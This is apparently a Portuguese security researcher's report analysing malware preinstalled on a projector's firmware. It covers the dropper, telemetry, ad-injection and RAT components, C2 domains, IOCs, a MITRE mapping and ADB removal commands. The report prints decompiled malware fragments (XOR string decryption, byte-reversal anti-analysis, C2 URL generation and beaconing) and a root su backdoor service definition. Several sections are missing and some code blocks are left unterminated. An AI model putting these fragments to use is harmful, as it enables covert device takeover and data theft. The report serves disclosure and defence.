**Impacto:** Qualquer utilizador com acesso físico ou um atacante na mesma rede (via ADB, porta 5555 aberta, sem autenticação) obtém acesso root completo.

---

## 4. Resposta do Servidor C2 — Evidência Principal

### Requisição HTTP Capturada```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12

**Interpretação das flags:**

- `isShow: false` — O aplicativo não aparece na interface da loja.
- `isForce: true` — Presumivelmente força a ação (instalação ou atualização).
- `isSilentUninstall: true` — Pode desinstalar-se sem interação do utilizador.
- `launchType: 1` — Inicia automaticamente o serviço em segundo plano.
- `launchParam: MyService` — Referência ao serviço persistente.
- `zone: "Global"` — Visa todos os dispositivos mundialmente.
- `reverseLen` — Comprimento de bytes necessário para restaurar o SilentSDK `.apk`.

### Caminho de Download Criptografado

O campo `path` é criptografado com AES-CBC:

- **Key/IV:** `[REDACTED]` (AES-CBC, Raw) -> O ChannelID do dispositivo.
- **Resultado descriptografado:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp

   + ExpandSDK (Ad-Injection)
     → pb-api.aodintech.com

---

## 6. StoreOS — Análise de Dropper

StoreOS parece ser uma loja de aplicativos que é instalada automaticamente; no entanto, cumpre a função de um dropper.  
**Package:** `com.htc.storeos`  
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`  
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`

### Permissões

| Permissão | Impacto |
|:---|:---|
| `INSTALL_PACKAGES` | Instalação silenciosa sem diálogo do usuário |
| `CLEAR_APP_USER_DATA` | Exclusão de dados arbitrários de aplicativos |
| `MASTER_CLEAR` | Acionamento de redefinição de fábrica |
| `WRITE_SECURE_SETTINGS` | Modificação de configurações de segurança |
| `DEVICE_POWER` | Gerenciamento de energia do dispositivo |
| `MANAGE_EXTERNAL_STORAGE` | Acesso total ao armazenamento externo |

### Cadeia de Instalação (a partir do código descompilado)

1. **BootReceiver** inicia `CheckUpdateService`.
2. HTTP POST para `store-api.aodintech.com/sign/app/list`.
3. Servidor entrega `AppsData[]` contendo campos: `pkg`, `path`, `isForce`, `isShow`, `isSilentInstall`, `isSilentUninstall`, `launchType`, `launchParam`, `reverseLen`, `md5`.
4. `DownloadService` busca APKs como arquivos `.bpp` do CDN.
5. **Proteção de Reversão de Bytes:** Os primeiros `reverseLen` bytes são revertidos antes da gravação no disco (Medida Antianálise).
6. Verificação MD5 do arquivo baixado.
7. Instalação via `Runtime.getRuntime().exec("pm install -r " + filePath)`.
8. `StartAppService` inicia o aplicativo instalado de acordo com `launchParam`.

### Mecanismo de Reversão de Bytes — Prova Técnica

**Classe:** `AbstractC2057b` — **Método:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX

Este método reverte os primeiros `reverseLen` bytes de cada APK baixado. Como resultado, arquivos `.bpp` interceptados não podem ser reconhecidos ou extraídos como APKs válidos sem conhecer o valor específico de `reverseLen`.```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
    reverseLen = fileSize;
    offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
    byte tmp = buffer[head];
    buffer[head] = buffer[tail];
    buffer[tail] = tmp;
    head++; tail--;
}
// 3. Copy the remaining bytes unchanged

Ao reverter este mecanismo, o APK do SilentSDK foi decodificado e analisado com sucesso.

### Segmentação Geográfica

O StoreOS utiliza `api.ipdatacloud.com/v2/query` para geolocalização de IP. A classe `SpecialApps` contém campos para `continent` e `countryCode`, permitindo a distribuição de payloads específicos por região.

---

## 7. EventUploadService — Telemetria

**Package:** `com.htc.eventuploadservice`  
**Target:** `http://event-api.aodintech.com/report`  
**Intervalo:** A cada 5 minutos  

| Campo | Valor Exemplo | Impacto na Privacidade |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | Endereço MAC (PII) |
| `deviceSn` | `[REDACTED]` | Número de Série (Único) |
| `channel` | `HY260Pro_hy_TPYB` | Canal de Firmware |
| `version` | `Projector.20250422.152235` | Versão do Firmware |
| `model` | `NT10` | Modelo do Dispositivo |
| `language` | `en_US` | Configuração de Idioma |

A transmissão ocorre sem criptografia via HTTP e sem consentimento do usuário. O endereço MAC e o número de série permitem a identificação e o rastreamento precisos de dispositivos individuais.

---

## 8. ExpandSDK — Injeção de Anúncios

**Package:** `com.htc.expandsdk`  
**C2 Servers:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`

O ExpandSDK utiliza o TCL VastAd SDK para anúncios em vídeo VAST e é capaz de renderizar diálogos de sobreposição do sistema (`SYSTEM_ALERT_WINDOW`) em qualquer posição da tela. A configuração inclui campos de posição (`AdDialogX`, `AdDialogY`, `Width`, `High`, `Gravity`) e o identificador de parceiro `htk` (Hotack).

O ExpandSDK opera independentemente do SilentSDK como um canal de monetização separado.

---

## 9. SilentSDK — Análise de RAT

**Package:** `com.hotack.silentsdk`  
**SHA-256 (decoded):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`  
**MD5 (decoded):** `5df097591d6942bae4eff33a37c4e28f`

### Análise do Manifesto

| Propriedade | Valor | Significado |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | Privilégios de Sistema (UID 1000) |
| `usesCleartextTraffic` | `true` | Tráfego HTTP permitido |
| Launcher Icon | Não visível para o usuário | Oculto da interface do usuário |
| `BootReceiver` | Priority 999 | Inicia antes de quase todos os outros aplicativos |
| `MyService` | exported, foreground | Serviço de segundo plano persistente |
| `BootStartActivity` | `com.htc.bootstart` | Gatilho de inicialização adicional |

### Empacotamento e Descriptografia de DEX

O DEX original está empacotado: O cabeçalho declara 2.318.316 bytes, mas o arquivo comprimido contém apenas 65.536 bytes com uma soma de verificação Adler32 inválida. Após quebrar a proteção de reversão de bytes do StoreOS, o DEX se torna totalmente legível — o tamanho do arquivo e o tamanho declarado coincidem, e 16.241 strings são extraíveis.

### Ofuscação XOR — Prova Técnica

Todas as strings relevantes à segurança são ofuscadas usando uma cifra XOR rotativa dentro do método `AbstractC0000a.m36g()`:```java
public static String m36g(byte[] data, byte[] key) {
    int i3 = 0, i4 = 0;
    while (i3 < data.length) {
        if (i4 >= key.length) i4 = 0;
        data[i3] = (byte) (data[i3] ^ key[i4]);
        i3++; i4++;
    }
    return new String(data);
}

Se ocorrer um erro SSL (`SSLException`), `f2664e` é definido como `false` e todas as solicitações subsequentes utilizam HTTP em vez de HTTPS.




#### Fase 3: Aquisição de Payload
 
**`C0566k.java` — Fallback Offline (Payload Incorporado)**
 
Antes de contactar a rede, esta classe verifica se um payload já está incluído dentro do APK em `assets/m17gawxG.java`. Se encontrado, lê o arquivo byte a byte e o descriptografa usando uma chave XOR fixa no código (`m17gawxG`). O resultado é escrito como um arquivo executável `.temp`. Isso garante que o RAT possa ativar mesmo em dispositivos air-gapped ou quando o servidor C2 está inacessível.
 
**`RunnableC0569n.java` — Downloader C2 Ao Vivo**
 
Se o fallback offline falhar, esta classe monta um beacon JSON contendo o Bot-ID, nome do pacote e versão do Android, e então contacta o endpoint C2 `api.pixelpioneerss.com`:
 
**Passo 1 — Geração de URL com Caminho Aleatório:**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s

**Passo 3 — Criptografia AES e Transmissão:**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message

O downloader (`AbstractC0000a.m37h`) busca o payload e então usa um shell root para conceder permissões totais de execução via `chmod 777`.
 
Todas as requisições C2 carregam o cabeçalho HTTP personalizado `a: 1003` — uma assinatura de nível de rede desta família de malware.



#### Fase 4: Execução e Controle
 
**`AbstractC0568m.java` — Área de Preparação**
 
Cria um diretório oculto chamado **`TMRXwWJu3G5`** no sistema de arquivos do dispositivo onde todos os payloads baixados são preparados. Esta classe também contém métodos (`m1754e`) que interceptam eventos físicos de teclas (`KeyEvent`), impedindo o usuário de pressionar o botão "Voltar" enquanto uma sobreposição maliciosa está ativa.
 
**`C0561f.java` — O Orquestrador**
 
Une toda a cadeia. Ele chama o código fortemente ofuscado em `C0566k.m1746b`, que usa reflexão para construir a string `"dalvik.system.DexClassLoader"` e inicializá-lo. O ClassLoader é então forçado a carregar e executar a classe de payload final:```
com.me.cash5.OoO0OOo

Este é um **domínio C2 separado** do primário `api.pixelpioneerss.com`, usado exclusivamente para exfiltração de telemetria.
 
**`AbstractC0572q.java` & `RunnableC0560e.java` — Heartbeat e Auto-Cura**
 
O mecanismo de persistência. `AbstractC0572q` mantém um timer na thread principal. Se alguma parte da cadeia de infecção falhar (por exemplo, sem internet durante o download), ele dispara `sendEmptyMessageDelayed(..., 60000L)`. Após exatamente 60 segundos, `RunnableC0560e` (como um worker em segundo plano) reinicia toda a maquinaria de infecção desde o início. Esse loop se repete indefinidamente até que a infecção seja bem-sucedida.
 
### Persistência e Carregamento Dinâmico — Resumo
 
O método `m1762a()` em `RunnableC0569n` implementa o ciclo completo de download do payload:
 
1. Fazer download do arquivo DEX do C2.
2. Verificar o hash MD5.
3. Salvar o número da versão no SharedPreferences.
4. Carregar e executar o DEX via `DexClassLoader` ou `Runtime.exec()`.
5. Em caso de erros: Incrementar o contador de tentativas no SharedPreferences, pausar após 13 tentativas falhadas — então o heartbeat de 60 segundos reinicia o ciclo.

## 9.1. O Payload do Malware

Após enviar esta solicitação para o servidor C2:```json
{
    "a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
    "b":"f101", //CampaignID injected in MyApplication.java
    "c":"com.hotack.silentsdk", //Package name
    "d":0, 
    "f":"c0:3a:4b:11:22:33", // Device MAC address
    "h":30, //Version
}

---
## 10. O Malware

Após a recuperação bem-sucedida e a análise adicional do payload, determinei—após contornar camadas significativas de criptografia e ofuscação personalizadas—que o malware utiliza uma arquitetura altamente modular. Ele opera como um framework sofisticado capaz de baixar, atualizar, reiniciar e excluir ativamente plugins para destruir evidências forenses. Esses payloads são executados com privilégios de root. Além disso, o código revela mecanismos projetados para sobrepor WebViews completas na tela, indicando fortemente capacidades avançadas de phishing. O malware também demonstra táticas avançadas de segmentação e evasão: ele implementa geofencing rigoroso para atingir regiões específicas, perfilia a arquitetura da CPU (distinguindo entre `arm64`, `armeabi`, `x86` e `mips`) e contorna ativamente a validação de certificados SSL para proteger suas comunicações C2. Estou mantendo este resumo intencionalmente breve por enquanto, pois a forte ofuscação exige um processo de engenharia reversa prolongado e contínuo.

## 11. Backdoors do Sistema

### 11.1 Binário `su` Oculto: `/system/bin/qw`

Um binário `su` renomeado como `qw` (Koushikdutta Superuser, 388 KB, vinculado estaticamente, ARM 32-bit):```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
    user root
    group root
    class core

### Assinaturas de Rede```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003            # SilentSDK Signature
POST /sign/app/list             # StoreOS C2 Beacon
POST /report                    # EventUpload Telemetry

### Sistema de Arquivos```text
/system/bin/qw                                   # su Binary
/dev/com.koushikdutta.superuser.daemon/server    # su Socket
/oem/customer.prop                               # World-writable
/vendor/bin/dbgserver                             # HW-Debug
/dev/hidtvreg                                    # World-writable

---

## 16. Mapeamento MITRE ATT&CK

| Técnica | ID | Prova |
|:---|:---|:---|
| Comprometimento da Cadeia de Suprimentos | T1195.002 | Fábrica de malware pré-instalada |
| Execução de Inicialização Automática na Inicialização ou Logon | T1547 | BootReceiver Priority 999 |
| Arquivos ou Informações Ofuscadas | T1027 | XOR Strings, DEX Packing, embedded XOR-encrypted asset |
| Protocolo de Camada de Aplicação | T1071 | HTTP/HTTPS C2 |
| Troca Dinâmica de Dados / Injeção de Payload | T1055 | DexClassLoader, chmod 777 |
| Descoberta de Informações do Sistema | T1082 | Device Fingerprinting, Geração de Bot-ID |
| Dados do Sistema Local | T1005 | MAC, Serial, IMEI, android_id |
| Exfiltração Através de Canal C2 | T1041 | Periodic Telemetry to `bur.thedynamicleap.com` |
| Mascaramento | T1036 | .bpp file extension, ADT-3 Spoofing |
| Rootkit | T1014 | Binário su Oculto |
| Captura de Entrada | T1056 | Interceptação de KeyEvent para suprimir o botão Voltar |
| Remoção de Indicador / Auto-Exclusão | T1070 | `isSilentUninstall: true` capability |
| Carregamento de Código Reflexivo | T1620 | Reflective DexClassLoader instantiation |
| Overlay de Janela do Sistema | T1624 | Manipulação de SoftInputMode para overlays invisíveis |

---

## 17. Mitigações Imediatas

### Para Usuários Finais Afetados```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate

---

## 18. Fontes

1. Zane St. John: "Engenharia Reversa de Malware Android Pré-instalado com Claude Code", Janeiro de 2026. https://zanestjohn.com/blog/reing-with-claude-code
2. BSI: "BSI alerta sobre malware pré-instalado em dispositivos IoT" (BADBOX), Outubro de 2023.
3. Análise do VirusTotal do APK do StoreOS.

---

**Período de Análise:** 11 a 17 de Abril de 2026

**Aviso Legal**
Apenas para Fins Educacionais e de Pesquisa. Este relatório é fornecido "como está" para fins informativos sobre ameaças de cibersegurança. A análise baseia-se num instantâneo do ecossistema atual de malware; sendo a engenharia reversa um processo contínuo, as conclusões podem estar sujeitas a alterações à medida que novos dados se tornem disponíveis.

Este relatório foi compilado de boa fé e, tanto quanto é do meu conhecimento, com base na análise de dados binários e código fonte descompilado. Devido ao alto nível de ofuscação e à natureza evolutiva da ameaça, estas conclusões representam um estado atual da investigação. Embora as evidências apoiem fortemente as conclusões apresentadas, estas estão sujeitas a refinamento à medida que novas evidências técnicas forem descobertas.